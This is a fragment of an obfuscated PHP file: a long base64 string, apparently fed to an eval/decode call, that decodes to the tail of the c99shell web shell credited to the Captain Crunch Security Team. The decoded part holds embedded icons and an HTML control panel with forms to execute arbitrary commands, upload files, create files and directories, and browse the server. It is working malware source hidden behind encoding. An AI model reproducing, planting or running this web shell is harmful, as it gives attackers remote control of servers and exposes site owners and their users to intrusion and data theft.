zBKU2hHaDRVTW9ZQVNCaVVRIi4NCiJBRHM9IiwNCiJleHRfbG9nIj0+DQoiUjBsR09EbGhFQUFRQURNQUFDSDVCQUVBQUFnQUxBQUFBQUFRQUJBQWcvLy8vd0FBQU1EQXdJQ0FnSUNBQUFBQWdBQUEvLy8vQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUlFFS0V3SzZVeUJ6QzQ3NWdFQWx0SmtsTFJBV3piQ2xSaHJLNEx5NXlnNy93TiIuDQoiekxVYUxHQlFCVjJFZ0ZMVjR4RU9TU1d0OWdRUUJwUnBxeG9WTmFQS2tGYjVFaC9MbVVHekY1cUUzK0VNSWdJQU93PT0iLA0KImV4dF9waHAiPT4NCiJSMGxHT0RsaEVBQVFBQUFBQUNINUJBRUFBQUVBTEFBQUFBQVFBQkFBZ0FBQUFBQUFBQUltREE2aHk1clcwSEdvc2Zmc2RUcHF2RmxnIi4NCiJ0MGhreVozUTZxbG9aN0ppbW9tVkViK3VYQUFBT3c9PSIsDQoiZXh0X3BsIj0+DQoiUjBsR09EbGhGQUFVQUtML0FQLzQvOERBd0g5L0FQLzRBTCsvdndBQUFBQUFBQUFBQUNINUJBRUFBQUVBTEFBQUFBQVVBQlFBUUFNbyIuDQoiR0xyYzNnT0FNWVI0T091ZHJlZWdSbEJXU0oxbHFLNXM2NExqV0YzY1FNanBKcERmNi8vQUJBQTciLA0KImV4dF9zd2YiPT4NCiJSMGxHT0RsaEZBQVVBTVFSQVArY25QOVNVczRBQVArY0FQL09BSVFBQVA5akFNNWpuTTZjWTg2Y25LWE85OGJleHB3QUFQOHhBUC9PIi4NCiJuQUFBQVAvLy8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4NCiJBQkVBTEFBQUFBQVVBQlFBQUFWN1lDU09aR21lNlBtc2JNdXFVQ3pQMEFQTHpoQWJ1UG5RQXdlRTUyZzBmREtDTUdnb09tNFFCNEdBIi4NCiJHQmdhVDJnTVFZZ1ZqVWZTVDNZb0ZHS0JSZ0JxUGpnWURFRnhYUnBER0VJQTR4QVFRTlIxTkhvTUVBQUNBQkZoSXo4ckNuY01BR2dDIi4NCiJOeXNMa0RPVFNDc0pOREphblRVcUxxTTJLYWFucUJFaEFEcz0iLA0KImV4dF90YXIiPT4NCiJSMGxHT0RsaEVBQVFBR1lBQUNINUJBRUFBRXNBTEFBQUFBQVFBQkFBaGdBQUFCbE9BRmdkQUZBQUFJWUNVd0E4WndBOFo5RFk0SklDIi4NCiJXdi8vL3dDSVdCRTJBQUF5VUppY3FJU0hsNENBQVBENC8rRGc4UFg2LzVPWHBMN0gwKy8yL2FHbXNUSXlNdFRjNVAvL3NmTDUvOFhGIi4NCiJIZ0JZcHdCVWxnQlduMUJRQUc4YUlBQlFoUmJmbXdEY2t2K0gxMW5vdUVMbHJpemlwZitWM25QQS80MENVem1tL3dBNFhoVkRBQUdEIi4NCiJVeVdkLzBpdC8xdTEvM056QVA5NTBQOTkwbU81Lzd2MTRZenZ6WExyd29YSS81dlMvN0RrL3dCWG92OXN5dlJqd09oYXRRQ0hWMTdwIi4NCiJ1bzBHVVFCV25QKys4TG01QVArajVRQlVsQUNLV2dBNGJqSlFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZWVnQUtDZzRTRlN4WU5FdzRnTWdTT2o0OERGQWNIRVVJWlJFWW9KRFF6UFQ0L0F3Y1FDUWtnIi4NCiJHd2lwcXFrcUF4SWFGUmdYRHdPMXRyY0F1YnE3dkllSkRpd2hCY1BFeEF5VGxTRVpPem81S1RVeE1Dc3ZES09sU1JzY0hEd2VIa01kIi4NCiJIVWNNcjdHekJ1Zm82QXk4N0x1K2lpMGZBZlAwOUF2SUVSOFpOamM0UVNVbVRvZ1lzY0JhQWlWRmtDaFl5QkNJaXdYa1pEMm9SM0ZCIi4NCiJ1NHRMQWdFQU93PT0iLA0KImV4dF90eHQiPT4NCiJSMGxHT0RsaEV3QVFBS0lBQUFBQUFQLy8vOGJHeG9TRWhQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBVEFCQUFBQU5KIi4NCiJTQXJFM2xESkZrYTkxcktwQS9EZ0ozSkJhWjZsc0NrVzZxcWtCNGp6RjhCUzY1NDRXOVpBVzQrZzI2Vld4Rjl3ZG93Wm16bmxFdXA3Ii4NCiJVcFBXRzNJZzZIcS9YbVJqdVp3a0FBQTciLA0KImV4dF93cmkiPT4NCiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWdBTEFBQUFBQVFBQkFBZy8vLy93QUFBSUNBZ01EQXdJQ0FBQUFBZ0FBQS8vLy9BQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUlVNaEprYjBDNksySHVFaVJjZHNBZktFeGtrRGdCb1Z4c3R3QUF5cGR1b2FvIi4NCiJhNFNYVDBjNEJGMHJVaEZBRUFRUUk5ZG1lYlJFVzh5WEM2TngyUUk3THJZYnRwSlpOc3hnelc2bkxkcTQ5aElCQURzPSIsDQoiZXh0X3htbCI9Pg0KIlIwbEdPRGxoRUFBUUFFUUFBQ0g1QkFFQUFCQUFMQUFBQUFBUUFCQUFoUC8vL3dBQUFQSHg4WWFHaGpObW1hYks4QUFBbVFBQWdBQ0EiLg0KImdET1pBRE5tL3pPWi96UC8vOERBd0RQTS93QUEvd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQVZrNENDT3BBaWQwQUNzYk5zTXFOcXVBaUEwQUp6U2RsOEh3TUJPVUtnaEVBcGJFU0JVRlF3QUJJQ3giLg0KIk9BQU14ZWJUaG1BNEVvY2F0Z25ZS2hhSmh4VXJJQk5yaDdqeXQvUFphKzBoWWMvbjAyVjRkelp1ZllWL1BJR0pib0tCUWtHUGtFRVEiLg0KIklRQTciDQogKTsNCiAvL0ZvciBzaW1wbGUgc2l6ZS0gYW5kIHNwZWVkLW9wdGltaXphdGlvbi4NCiAkaW1nZXF1YWxzID0gYXJyYXkoDQogICJleHRfdGFyIj0+YXJyYXkoImV4dF90YXIiLCJleHRfcjAwIiwiZXh0X2FjZSIsImV4dF9hcmoiLCJleHRfYnoiLCJleHRfYnoyIiwiZXh0X3RieiIsImV4dF90YnoyIiwiZXh0X3RneiIsImV4dF91dSIsImV4dF94eGUiLCJleHRfemlwIiwiZXh0X2NhYiIsImV4dF9neiIsImV4dF9pc28iLCJleHRfbGhhIiwiZXh0X2x6aCIsImV4dF9wYmsiLCJleHRfcmFyIiwiZXh0X3V1ZiIpLA0KICAiZXh0X3BocCI9PmFycmF5KCJleHRfcGhwIiwiZXh0X3BocDMiLCJleHRfcGhwNCIsImV4dF9waHA1IiwiZXh0X3BodG1sIiwiZXh0X3NodG1sIiwiZXh0X2h0bSIpLA0KICAiZXh0X2pwZyI9PmFycmF5KCJleHRfanBnIiwiZXh0X2dpZiIsImV4dF9wbmciLCJleHRfanBlZyIsImV4dF9qZmlmIiwiZXh0X2pwZSIsImV4dF9ibXAiLCJleHRfaWNvIiwiZXh0X3RpZiIsInRpZmYiKSwNCiAgImV4dF9odG1sIj0+YXJyYXkoImV4dF9odG1sIiwiZXh0X2h0bSIpLA0KICAiZXh0X2F2aSI9PmFycmF5KCJleHRfYXZpIiwiZXh0X21vdiIsImV4dF9tdmkiLCJleHRfbXBnIiwiZXh0X21wZWciLCJleHRfd212IiwiZXh0X3JtIiksDQogICJleHRfbG5rIj0+YXJyYXkoImV4dF9sbmsiLCJleHRfdXJsIiksDQogICJleHRfaW5pIj0+YXJyYXkoImV4dF9pbmkiLCJleHRfY3NzIiwiZXh0X2luZiIpLA0KICAiZXh0X2RvYyI9PmFycmF5KCJleHRfZG9jIiwiZXh0X2RvdCIpLA0KICAiZXh0X2pzIj0+YXJyYXkoImV4dF9qcyIsImV4dF92YnMiKSwNCiAgImV4dF9jbWQiPT5hcnJheSgiZXh0X2NtZCIsImV4dF9iYXQiLCJleHRfcGlmIiksDQogICJleHRfd3JpIj0+YXJyYXkoImV4dF93cmkiLCJleHRfcnRmIiksDQogICJleHRfc3dmIj0+YXJyYXkoImV4dF9zd2YiLCJleHRfZmxhIiksDQogICJleHRfbXAzIj0+YXJyYXkoImV4dF9tcDMiLCJleHRfYXUiLCJleHRfbWlkaSIsImV4dF9taWQiKSwNCiAgImV4dF9odGFjY2VzcyI9PmFycmF5KCJleHRfaHRhY2Nlc3MiLCJleHRfaHRwYXNzd2QiLCJleHRfaHQiLCJleHRfaHRhIiwiZXh0X3NvIikNCiApOw0KIGlmICghJGdldGFsbCkNCiB7DQogIGhlYWRlcigiQ29udGVudC10eXBlOiBpbWFnZS9naWYiKTsNCiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsNCiAgaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsNCiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIuKDYwKjYwKjI0KjcpKTsNCiAgaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiLmRhdGUoInIiLGZpbGVtdGltZShfX0ZJTEVfXykpKTsNCiAgZm9yZWFjaCgkaW1nZXF1YWxzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkaW1nLCR2KSkgeyRpbWcgPSAkazsgYnJlYWs7fX0NCiAgaWYgKGVtcHR5KCRpbWFnZXNbJGltZ10pKSB7JGltZyA9ICJzbWFsbF91bmsiO30NCiAgaWYgKGluX2FycmF5KCRpbWcsJGV4dF90YXIpKSB7JGltZyA9ICJleHRfdGFyIjt9DQogIGVjaG8gYmFzZTY0X2RlY29kZSgkaW1hZ2VzWyRpbWddKTsNCiB9DQogZWxzZQ0KIHsNCiAgZm9yZWFjaCgkaW1nZXF1YWxzIGFzICRhPT4kYikge2ZvcmVhY2ggKCRiIGFzICRkKSB7aWYgKCRhICE9ICRkKSB7aWYgKCFlbXB0eSgkaW1hZ2VzWyRkXSkpIHtlY2hvKCJXYXJuaW5nISBSZW1vdmUgXCRpbWFnZXNbIi4kZC4iXTxicj4iKTt9fX19DQogIG5hdHNvcnQoJGltYWdlcyk7DQogICRrID0gYXJyYXlfa2V5cygkaW1hZ2VzKTsNCiAgZWNobyAgIjxjZW50ZXI+IjsNCiAgZm9yZWFjaCAoJGsgYXMgJHUpIHtlY2hvICR1LiI6PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz0iLiR1LiJcIiBib3JkZXI9XCIxXCI+PGJyPiI7fQ0KICBlY2hvICI8L2NlbnRlcj4iOw0KIH0NCiBleGl0Ow0KfQ0KaWYgKCRhY3QgPT0gImFib3V0Iikge2VjaG8gIjxjZW50ZXI+PGI+Q3JlZGl0czo8YnI+SWRlYSwgbGVhZGluZyBhbmQgY29kaW5nIGJ5IHRyaXN0cmFtW0NDVGVhTV0uPGJyPkJldGEtdGVzdGluZyBhbmQgc29tZSB0aXBzIC0gTnVrTGVvTiBbQW5UaVNoQFJlIHRFYU1dLjxicj5UaGFua3MgYWxsIHdobyByZXBvcnQgYnVncy48YnI+QWxsIGJ1Z3Mgc2VuZCB0byB0cmlzdHJhbSdzIElDUSAjNjU2NTU1IDxhIGhyZWY9XCJodHRwOi8vd3dwLmljcS5jb20vc2NyaXB0cy9jb250YWN0LmRsbD9tc2d0bz02NTY1NTVcIj48aW1nIHNyYz1cImh0dHA6Ly93d3AuaWNxLmNvbS9zY3JpcHRzL29ubGluZS5kbGw/aWNxPTY1NjU1NSZpbWc9NVwiIGJvcmRlcj0wIGFsaWduPWFic21pZGRsZT48L2E+LjwvYj4iO30NCj8+DQo8L3RkPjwvdHI+PC90YWJsZT48YSBib29rbWFyaz0ibWluaXBhbmVsIj48YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4NCjx0cj48dGQgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwIGFsaWduPSJjZW50ZXIiPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCZkPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkKTsgPz4iPjxiPkNvbW1hbmQgZXhlY3V0ZTwvYj48L2E+IDo6PC9iPjwvcD48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+RW50ZXI6IDwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCIgbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjbWQpOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImNtZF90eHQiIHZhbHVlPSIxIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPlNlbGVjdDogPC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9Y21kIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iY21kIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PHNlbGVjdCBuYW1lPSJjbWQiPjw/cGhwIGZvcmVhY2ggKCRjbWRhbGlhc2VzIGFzICRhbHMpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMV0pLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1swXSkuIjwvb3B0aW9uPiI7fSA/Pjwvc2VsZWN0PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj48L2Zvcm0+PC90ZD48L3RyPjwvVEFCTEU+DQo8YnI+DQo8VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPg0KPHRyPg0KIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PXNlYXJjaCZkPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkKTsgPz4iPjxiPlNlYXJjaDwvYj48L2E+IDo6PC9iPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJzZWFyY2giPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2VhcmNoX25hbWUiIHNpemU9IjI5IiB2YWx1ZT0iKC4qKSI+Jm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJzZWFyY2hfbmFtZV9yZWdleHAiIHZhbHVlPSIxIiAgY2hlY2tlZD4gLSByZWdleHAmbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IlNlYXJjaCI+PC9mb3JtPjwvY2VudGVyPjwvcD48L3RkPg0KIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PXVwbG9hZCZkPTw/cGhwIGVjaG8gJHVkOyA/PiI+PGI+VXBsb2FkPC9iPjwvYT4gOjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIiBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9InVwbG9hZCI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZGZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJtaW5pZm9ybSIgdmFsdWU9IjEiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iVXBsb2FkIj48YnI+PD9waHAgZWNobyAkd2R0OyA/PjwvZm9ybT48L2NlbnRlcj48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogTWFrZSBEaXIgOjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Im1rZGlyIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZGlyIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJDcmVhdGUiPjxicj48P3BocCBlY2hvICR3ZHQ7ID8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogTWFrZSBGaWxlIDo6PC9iPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJta2ZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtmaWxlIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImZ0IiB2YWx1ZT0iZWRpdCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJDcmVhdGUiPjxicj48P3BocCBlY2hvICR3ZHQ7ID8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPg0KPGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IEdvIERpciA6OjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImxzIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iR28iPjwvZm9ybT48L2NlbnRlcj48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IEdvIEZpbGUgOjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHN1cmwpOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJnb2ZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iR28iPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT4NCjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9MCB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSI5OTAiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxwIGFsaWduPSJjZW50ZXIiPjxiPi0tWyBjOTlzaGVsbCB2LiA8P3BocCBlY2hvICRzaHZlcjsgPz4gPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9YWJvdXQiPjx1PjxiPnBvd2VyZWQgYnk8L2I+PC91PjwvYT4gQ2FwdGFpbiBDcnVuY2ggU2VjdXJpdHkgVGVhbSB8IDxhIGhyZWY9Imh0dHA6Ly9jY3RlYW0ucnUiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5odHRwOi8vY2N0ZWFtLnJ1PC9mb250PjwvYT48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PC9mb250PiB8IEdlbmVyYXRpb24gdGltZTogPD9waHAgZWNobyByb3VuZChnZXRtaWNyb3RpbWUoKS1zdGFydHRpbWUsNCk7ID8+IF0tLTwvYj48L3A+PC90ZD48L3RyPjwvdGFibGU+DQo8L2JvZHk+PC9odG1sPjw/cGhwIGNoZGlyKCRsYXN0ZGlyKTsgYzk5c2hleGl0KCk7'));
?>